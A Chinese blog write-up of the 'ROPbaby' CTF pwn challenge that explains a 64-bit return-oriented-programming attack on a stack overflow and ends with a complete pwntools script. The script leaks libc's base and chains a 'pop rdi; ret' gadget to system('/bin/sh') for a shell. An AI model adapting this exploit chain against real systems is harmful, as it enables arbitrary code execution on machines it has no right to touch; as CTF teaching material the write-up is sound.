实验吧ROPbaby(PWN)
2019-08-12 本文已影响0人
LITSTONE
本文首发于博主公众号LISTONE,欢迎关注哦!
题目链接:ROPbaby (没想到题目服务器挂掉了,只能本地做了)
这个题目给了我们两个文件一个ROPbaby,一个libc。
首先查看ropbaby的文件信息和保护方式。
在这里可以看到程序开启了NX,这样的话shellcode的方式就很难用了,因此我们用ROP的方法来溢出攻击。
ROP的思路就是通过返回导向式编程,劫持程序的返回地址,将其定位到目标位置,在CTF中,我们一般都是劫持程序运行system('/bin/sh')
。
这个程序通过上面的信息可以知道是64位的,在64位程序中,函数调用时,前六个参数是通过rdi
、rsi
、rdx
、rcx
、r8
和r9
来进行传递的,我们的目的是劫持程序执行system('/bin/sh')
这个语句。
因此,我们需要做的就是:
- 找到溢出点
- 构造gadget,包含
pop rdi | retn
- 在libc中找到
/bin/sh
字符串的地址,并送入rdi
寄存器 - 找到
system
函数地址,并使程序跳转执行system
函数
通过题目中给出的libc文件,我们可以轻易地在终端中使用如下命令找到pop rdi | retn
的地址
ROPgadget --binary libc-2.23.so --only "pop|ret" |grep "pop rdi"
结果如下:
ROPgadget
我们需要着重记住上面我框住的那个地址。
找溢出点: 在程序中有一个memcpy
函数如下:
其中savedergs
是以int64
声明的,因此最多可输入8个字符,之后多输入就会溢出,这个地方就是我们要找的溢出点了。
然后在libc中找到/bin/sh
的地址,用下面的命令就可以:
strings -tx libc-2.23.so|grep "/bin/sh"
/bin/sh
在这个程序中可以直接查找system
函数的地址,但是我们需要找到程序的基址,所以我们需要找到system
的偏移地址。
objdump -T libc-2.23.so|grep "system"
objdump
这里面0x45390就是system
函数的地址
所以,我们可以写出利用脚本:
#!/usr/bin/env/python
# coding=utf-8
from pwn import *
#context.log_level = "debug"
env = os.environ
#p = remote('106.2.25.7','8004')
p = process('./ropbaby')
pop_rdi_ret_offset = 0x21102
str_bin_sh_offset = 0x18cd17
system_addr_offset = 0x45390
p.recvuntil(':')
p.sendline('2')
p.recvuntil('Enter symbol: ')
p.sendline('system')
system_addr = int(p.recvline()[15:],16)
print '[+]system_addr: '+ str(hex(system_addr))
base_addr = system_addr - system_addr_offset
str_bin_sh_addr = base_addr + str_bin_sh_offset
print "[+]binsh: " + str(hex(str_bin_sh_addr))
rdi_ret = base_addr + pop_rdi_ret_offset
p.recvuntil(':')
p.sendline('3')
p.recvuntil('Enter bytes to send (max 1024): ')
payload = 'a'*8 + p64(rdi_ret) + p64(str_bin_sh_addr) + p64(system_addr)
# p.sendline(str(len(payload)))
p.sendline('32')
p.sendline(payload)
p.interactive()